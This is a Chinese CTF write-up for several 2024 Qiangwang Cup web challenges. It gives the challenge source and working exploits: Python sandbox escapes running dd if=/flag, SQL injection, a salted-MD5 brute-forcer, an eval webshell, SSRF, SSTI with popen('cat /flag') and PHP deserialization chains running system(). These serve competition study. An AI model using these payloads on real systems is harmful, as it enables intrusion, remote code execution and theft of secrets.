24强网
PyBlockly
题目源码
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json
app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
def module_exists(module_name):
spec = importlib.util.find_spec(module_name)
if spec is None:
return False
if module_name in sys.builtin_module_names:
return True
if spec.origin:
std_lib_path = os.path.dirname(os.__file__)
if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False
def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True
def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
print('black_list over.', re.search(blacklist_pattern, input_text))
return True
else:
print('black_list detected.', re.search(blacklist_pattern, input_text))
return False
def block_to_python(block):
block_type = block['type']
code = ''
if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"
elif block_type == 'math_number':
if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
elif block_type == 'max':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"
elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"
if 'next' in block:
block = block['next']['block']
code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code
def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]
python_code = ""
python_code += block_to_python(block) + "\n"
return python_code
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''
print('do!')
print('Source code: ',source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"
@app.route('/')
def index():
return app.send_static_file('index.html')
@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
print(python_code)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})
if __name__ == '__main__':
app.run(host = '0.0.0.0')
漏洞点
unidecode.unidecode
将所有 Unicode 字符(尤其是非 ASCII 字符)转换成可打印的、没有重音符号或特殊符号的 ASCII 字符
dd if=/flag
,它意味着你试图将 /flag
文件的数据拷贝到标准输出
逃逸字符串
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
将len函数替换成匿名函数使其永远返回 1
法一
ssti,全字符绕过
__import__("os").system("$(printf '\144\144\40\151\146\75\57\146\154\141\147')")
利用$()执行内容来输出
cat tac nl没有,用dd可以
dd if=/flag
然后再对这些内容使用全角,绕过黑名单。
最终payload:
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"';__import__("builtins").len=lambda a:1;'';__import__("os").system("$(printf '\144\144\40\151\146\75\57\146\154\141\147'); ");'"}
}]}}
法二
跟法二差不多
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}
'\n__import__("builtins").len=lambda a: 1;__import__('os').system('ls$IFS$9/') #
法三
dd if=/flag写入到1.py,第二次发包利用run.py执行1.py
写文件
读取/flag写入1.py
open(bytes. fromhex('312e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929'))
__import__('1')
法四
多线程竞争
import requests
import json
import threading
url = "http://eci-2zedptpxwuwj344tkegy.cloudeci1.ichunqiu.com:5000"
data = {
"blocks": {
"blocks": [
{
"type": "print",
"x": 101,
"y": 102,
"inputs": {
"TEXT": {
"block": {
"type": "max",
"inputs": {
"A": {
"block": {
"type": "text",
"fields": {"TEXT": "‘,‘’))\n(open(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘)))\n\nprint(print(’1"}
}
},
"B": {
"block": {
"type": "math_number",
"fields": {"NUM": 10}
}
}
}
}
}
}
}
]
}
}
def send_request():
while True:
r = requests.post(url + "/blockly_json",
headers={"Content-Type": "application/json"}, data=json.dumps(data))
text = r.text
if "1 10" not in text and "No such file or direct" not in text and len(text) > 10:
print(text)
os.exit(-1)
break
threads = []
num_threads = 100
for _ in range(num_threads):
thread = threading.Thread(target=send_request)
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
xiaohuanxiong
源码审计,需从网上下源码;正确源码地址
git clone https://github.com/forkable/xiaohuanxiong.git
漏洞点
法一
漏洞源码如下↓
$books = $this->bookService->search($keyword, $num);
public function search($keyword, $num)
{
return Db::query(
"select * from " . $this->prefix . "book where delete_time=0 and match(book_name,summary,author_name,nick_name)
against ('" . $keyword . "' IN NATURAL LANGUAGE MODE) LIMIT " . $num
);
search 传 keyword 直接就有 sql 注入
?keyword=0') or updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables)),3) #
sqlmap进入之后注册无密码用户,查询其hex值在cmd5解密出salt
利用salt和admin的密码hex取爆破密码;然后后台写码
?url=‘}+@eval($_POST[1])+{’
爆破hex密码脚本↓
import hashlib
import itertools
salt = 'bf3a27'
target_hash = 'cd68b9fa89089351c31f248f7a321583'
chars = '0123456789abcdef'
max_length = 6
for length in range(1, max_length + 1):
for password_tuple in itertools.product(chars, repeat=length):
password = ''.join(password_tuple)
hash_attempt = hashlib.md5((password + salt).encode()).hexdigest()
if hash_attempt == target_hash:
print(f'Found password: {password}')
break
法二
后端有伪静态标识
// URL伪静态后缀
'url_html_suffix' => 'html',
class Admins extends BaseAdmin
{
protected $adminService;
protected function initialize()
{
$this->adminService = new AdminService();
}
public function save(Request $request){
$data = $request->param();
$admin = Admin::where('username','=',trim($data['username']))->find();
if ($admin){
$this->error('存在同名账号');
}else{
$admin = new Admin();
$admin->username = $data['username'];
$admin->password = md5(strtolower(trim($data['password'])).config('site.salt'));
$admin->save();
$this->success('新增管理员成功');
}
}
/install
之后正常进前端,dir扫一下有admin管理登陆,尝试不能正常登入,御剑扫到/admin/Admins
越权进入管理后台,这里可以添加管理员,然后正常登陆管理界面在支付管理页面可以修改php代码
payload: admin/admins/save.html Post:username=admin1&password=123456
法三
/admin/Payment/index存在任意文件上传
pickle_jail
https://www.woodwhale.cn/2024-qwb-misc-pickle-jail-wp/#jie-ti-si-lu
Proxy
go语言源码审计;是ssrf
main.go
package main
import (
"bytes"
"io"
"net/http"
"os/exec"
"github.com/gin-gonic/gin"
)
type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}
func main() {
r := gin.Default()
v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}
v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}
if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}
return nil
},
}
req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}
c.Writer.Write(body)
c.Abort()
})
}
r.Run("127.0.0.1:8769")
}
payload
import requests
import json
url = "http://47.93.99.173:24678/v2/api/proxy"
headers = {
"Content-Type": "application/json",
}
data = {
"url": "http://localhost:8769/v1/api/flag",
"method": "POST",
"body": "",
"headers": {},
"follow_redirects": False,
}
response = requests.post(url, headers=headers, data=json.dumps(data))
print(response.text)
snake
第一关js
第二关sql注入+ssti
1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'cat /flag\').read()')}}"--%20
platform
session反序列化
class。php处
<?php
class notouchitsclass {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __destruct() {
eval($this->data);
}
}
$exp=new notouchitsclass(1);
#$exp->data='system($_GET[cmd])';//被过滤需要绕过
$exp->data='("sy"."stem")($_GET[cmd]);';
echo serialize($exp);
import requests
url = " http://eci-2ze3vvqmif956xeljg9p.cloudeci1.ichunqiu.com/"
params = {
#'cmd': "ls"
#'cmd': "cat flag" #未找到
'cmd': "/readflag"
}
data = {
'username': 'execexecexecexecexecexecexecexecexecexecexecexecexece',
'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:26:"("sy"."stem")($_GET[cmd]);";}password|s:6:"orange'
}
while True:
r = requests.session()
response1 = r.post(url + '/index.php', data=data, verify=False, allow_redirects=False)
response2 = r.post(url + '/index.php', data=data, verify=False, allow_redirects=False)
response3 = r.post(url + '/dashboard.php', params=params, verify=False, allow_redirects=False)
if "flag" in response3.text:
print(response3.text)
print(r.cookies)
r.close()
Password Game
反序列化
源码
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}
法一
<?php
class root{
public $username;
public $value=2024;
public $gxngxngxn;
}
class user{
public $username;
public $password;
}
$exp = new root();
$exp->gxngxngxn=new user();
$exp->gxngxngxn->username=&$exp->value;
echo serialize($exp);
法二
直接构造,手动修改
$obj = new root();
$g1 = new guest();
$g1->username = "admin";
$obj->username = $g1;
$u1 = new user();
$u1->username = "2024qwb";
$g1->value = $u1;
$obj->value = &$u1->username;
echo "\n";
echo serialize($obj);
echo "\n";
参考
https://blog.csdn.net/GKD2019/article/details/143496496
https://0ran9e.fun/2024/11/04/%E5%BC%BA%E7%BD%91%E6%9D%AF/%E5%BC%BA%E7%BD%91%E6%9D%AF2024%E5%88%9D%E8%B5%9B/#xiaohuanxiong
https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ
https://www.cnblogs.com/gxngxngxn/p/18525365